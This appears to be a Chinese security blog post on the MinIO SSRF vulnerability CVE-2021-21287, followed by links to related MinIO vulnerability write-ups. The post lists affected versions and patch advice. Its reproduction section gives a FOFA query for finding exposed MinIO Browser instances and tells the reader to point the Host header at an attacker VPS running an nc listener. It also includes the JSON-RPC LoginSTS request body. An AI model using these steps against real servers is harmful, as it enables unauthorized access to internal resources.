MiniO未授权SSRF漏洞（CVE-2021-21287）

已于 2022-07-21 10:09:25 修改
阅读量7.6k 收藏 1
点赞数 1
文章标签： web安全
于 2022-06-09 14:22:46 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/xiaobai_20190815/article/details/125202506
版权
这篇博客揭示了MinIO对象存储的SSRF漏洞详情，影响版本及环境，演示了漏洞复现步骤，并提供了配置建议和官方补丁链接，强调了安全更新的重要性。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

一、漏洞描述

MinIO 是在 Apache License v2.0 下发布的高性能对象存储。在版本 RELEASE.2021-01-30T00-20-58Z 之前的 MinIO 中存在服务器端请求伪造漏洞。目标应用程序可能具有从 URL 导入数据、将数据发布到 URL 或以其他方式从可篡改的 URL 读取数据的功能。攻击者通过提供完全不同的 URL 或通过操纵 URL 的构建方式（路径遍历等）来修改对此功能的调用。在服务器端请求伪造 (SSRF) 攻击中，攻击者可以滥用服务器上的功能来读取或更新内部资源。

二、影响版本

MinIO<RELEASE.2021-01-30T00-20-58Z

三、漏洞环境

vulfocus:CVE-2021-21287,一键启动 / fofa:title="MinIO Browser"

四、漏洞复现

1、修改host头为vps地址；借用vps起一个nc服务，监听811端口

{

"id":1,

"jsonrpc":"2.0",

"params":

{

"token":"Test"

},

 

"method":"web.LoginSTS"

}

五、更新建议

1、配置环境变量“ MINIO_BROWSER = off”

2、目前厂商已发布升级补丁以修复漏洞，补丁获取链接：

https://github.com/minio/minio/releases/tag/RELEASE.2021-01-30T00-20-58Z

whatever`
关注
复现MinIO未授权SSRF漏洞(CVE-2021-21287)
记录并分享学习安全的知识点..
02-24 5123
前言： 最近做项目测试，整理资产偶然看到基于MinIO服务器开发的网站，便想起前端时间复现过一个ssrf关于它的，测试一下竟发现该网站存在这个漏洞，窃喜万分，现将复现过程记录一下！ 一、漏洞简介 MinIO是一个非常轻量的服务,可以很简单的和其他应用的结合，类似 NodeJS, Redis 或MySQL，是基于Apache License v2.0开源协议的对象存储服务。由于MinIO组件中LoginSTS接口设计不当，导致存在服务器端请求伪造漏洞。攻击者可以通过构造URL来发起服务器端请求伪造攻击成
云原生攻防1（基础介绍）
最新发布
墨痕诉清风的博客
05-19 399
聚焦在帮助工程师构建应用程序并使其运行的工具上数据库帮助其他应用程序高效地存储和检索数据Database热门项目：PostgresMySQLRedisPostgres：JDBC驱动远程代码执行、弱密码Redis：未授权、主从RCE数据流和消息传递消息传递和数据流传输系统为编排系统进行通信提供了一个中心位置。热门项目：SparkKafkaRabbitMQNatsSpark：管理员后台未授权、命令注入RabbitMQ：弱口令应用程序定义和镜像构建聚集于开发的工具聚集于运维的工具。
CVE-2023-25812 MinIO 存在权限控制不当漏洞（POC）
murphysec的博客
02-23 2227
MinIO 是根据 AGPL v3.0 发布的高性能对象存储框架。 MinIO 影响版本中由于未正确遵守 ByPassGoverance 的拒绝策略，当 S3 存储桶策略配置 Deny statement 为 s3:BypassGovernanceRetention 且 Allow statement 为 s3:* 时， 攻击者可发送包含 X-Amz-Bypass-Governance-Retention: true 标头的恶意请求绕过 MinIO 的治理模式(Governance mode)，进而删除
公有云攻击案例
SHELLCODE_8BIT的博客
10-18 181
CVE-2021-21287: 容器与云的碰撞——一次对MinIO的测试 | 离别歌重磅首发！火线安全发布《云安全攻防技术期刊》 - 火线 Zone-安全攻防社区https://medium.com/@BreizhZeroDayHunters/when-its-not-only-about-a-kubernetes-cve-8f6b448eafa8嘶货https://raesene.github.io/blog/2023/01/02/Fun-with-SSRF-Turning-the-Kubernetes-
云对象存储桶验证漏洞？模型和数据被投毒、机器沦陷？- AI & 云安全
2401_83799022的博客
04-22 1032
随着云计算的兴起，私有云也逐渐成为企业数字化转型的重要选择之一。然而，无论是公有云还是私有云，在建设过程中都曾爆出过许多安全漏洞。今天，我们就来聊一聊最近爆出的私有云的对象存储系统的漏洞（可以导致任意覆盖写桶里面的文件）以及这个漏洞场景挖掘以及影响。MinIO 是在 GNU Affero 通用公共许可证 v3.0 下发布的高性能对象存储。它与 Amazon S3 云存储服务的 API 兼容。使用 MinIO 为机器学习、分析和应用程序数据工作负载构建高性能基础设施。如何修改我们自定义的想上传的内容呢？
MinIO未授权SSRF漏洞(CVE-2021-21287)
thelostworld
02-05 1万+
MinIO未授权SSRF漏洞(CVE-2021-21287) 一、漏洞简介 ​ 由于MinIO组件中LoginSTS接口设计不当，导致存在服务器端请求伪造漏洞 攻击者可以通过构造URL来发起服务器端请求伪造攻击成功利用此漏洞的攻击者能够通过利用服务器上的功能来读取、更新内部资源或执行任意命令 该漏洞无需用户验证即可远程利用 二、影响版本 MinIO < RELEASE.2021-01-30T00-20-58Z 三、环境准备&漏洞复现 Docker 安装minio： d...
MinIO未授权SSRF漏洞复现(CVE-2021-21287)
isxiaole的博客
09-27 1万+
MinIO 是一款基于Go语言发开的高性能、分布式的对象存储系统。由于MinIO组件中LoginSTS接口设计不当，导致存在服务器端请求伪造漏洞。攻击者可以通过构造URL来发起服务器端请求伪造攻击成功利用此漏洞的攻击者能够通过利用服务器上的功能来读取、更新内部资源或执行任意命令。
CVE-2021-21287：MiniO未授权SSRF漏洞
就是法老
08-24 7163
一：介绍 MinIO 是一个基于Apache License v2.0开源协议的对象存储服务。它兼容亚马逊S3云存储服务接口，非常适合于存储大容量非结构化的数据，例如图片、视频、日志文件、备份数据和容器/虚拟机镜像等，而一个对象文件可以是任意大小，从几kb到最大5T不等。 MinIO是一个非常轻量的服务,可以很简单的和其他应用的结合，类似 NodeJS, Redis 或者 MySQL。 二：漏洞详情 由于MinIO组件中LoginSTS接口设计不当，导致存在服务器端请求伪造漏洞 攻击者可以通
MinIO未授权SSRF漏洞（CVE-2021-21287）复现
热门推荐
玄道的网安博客
03-06 1万+
简介 MinIO是一个基于Apache License v2.0开源协议的对象存储服务。它兼容亚马逊S3云存储服务接口，适用于存储大容量非结构化的数据（如图片、视频、日志文件、备份数据和容器/虚拟机镜像等），作为一款支持部署在私有云的开源对象存储系统，MinIO在全球被广泛使用。 影响版本 MinIO < RELEASE.2021-01-30T00-20-58Z 环境搭建 这里使用docker进行安装 docker-compose.yml v...
MinIO集群模式信息泄露漏洞（CVE-2023-28432）
程序员若风的博客
12-08 1749
MinIO是一个用Golang开发的基于Apache License v2.0开源协议的对象存储服务。虽然轻量，却拥有着不错的性能。它兼容亚马逊S3云存储服务接口，非常适合于存储大容量非结构化的数据。该漏洞会在前台泄露用户的账户和密码。
MinIO漏洞 CVE-2023-28432
qq_38613494的博客
01-16 1377
MinIO集群模式中存在一个信息泄露漏洞。攻击者可以利用该漏洞获取存储在MinIO中的敏感数据。等待文件迁移完毕后，可以关闭两个minio，将旧版minio的start.sh替换成新版的启动脚本，保持原本的端口。新版本的minio，根据情况设置bucket的作用范围为：public。
【阿一网络安全】MinI O SSRF （ CVE-2021-21287）
Ayixy的博客
07-10 816
攻击者可以滥⽤服务器上的功能来读。中存在服务器端请求伪造漏洞。攻击者通过提供完全不同的。的构建⽅式（路径遍历等）⽬标应⽤程序可能具有从。或以其他⽅式从可篡改的。下发布的⾼性能对象存。来修改对此功能的调⽤。
容器与云的碰撞——一次对MinIO的测试
离别歌
02-02 1662
“事先声明：本次测试过程完全处于本地或授权环境，仅供学习与参考，不存在未授权测试过程。本文提到的漏洞《MinIO未授权SSRF漏洞（CVE-2021-21287）》已经修复，也请读者勿使...
MinIO信息泄露漏洞(CVE-2023-28432)批量检测POC
今天是几号的博客
03-28 1万+
MinIO 是一种开源对象存储服务，与 Amazon S3 API 兼容，可用于私有云或公共云。MinIO是一种高性能、高可用的分布式存储系统，可以存储大量数据，并提供高速的数据读写能力。MinIO采用分布式架构，可以在多个节点上运行，实现数据的分布式存储和处理。在集群部署的Minio中，未授权的攻击者可发送恶意的HTTP请求来获取Minio环境变量中的敏感信息（MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD），可能导致攻击者以管理员权限登录Minio。
vulhub之MinIO信息泄露漏洞(CVE-2023-28432)
薛定谔嘚喵博客
08-30 2081
MinIO中存在一处信息泄露漏洞，由于Minio集群进行信息交换的9000端口，在未经配置的情况下通过发送特殊HPPT请求进行未授权访问，进而导致MinIO对象存储的相关环境变量泄露，环境变量中包含密钥信息（MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD），能看到对应权限的存储文件。
MinIO verify 接口敏感信息泄露漏洞分析(CVE-2023-28432)
qq_35476650的博客
03-24 7997
MinIO 是一种开源的对象存储服务，它兼容 Amazon S3 API，可以在私有云或公有云中使用。MinIO 是一种高性能、高可用性的分布式存储系统，它可以存储大量数据，并提供对数据的高速读写能力。MinIO 采用分布式架构，可以在多个节点上运行，从而实现数据的分布式存储和处理。MinIO verify接口存在敏感信息泄漏漏洞，攻击者通过构造特殊URL地址，读取系统敏感信息。
【漏洞复现】MinIO敏感信息泄露（CVE-2023-28432）
刘家华(游戏开发)
04-23 2020
MinIO发现了信息泄露漏洞
minio/minio:RELEASE.2021-01-16T02-19-44Z
08-05
minio/minio:RELEASE.2021-01-16T02-19-44Z是一个镜像标签，用于指定MinIO对象存储服务的版本。 MinIO是一个基于Apache License v2.0开源协议的对象存储服务，兼容亚马逊S3云存储服务接口，适用于存储大容量非结构化的数据，如图片、视频、日志文件、备份数据和容器/虚拟机镜像等。 这个镜像标签指定了MinIO的版本为RELEASE.2021-01-16T02-19-44Z，它可能包含了该版本的一些改进和修复。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值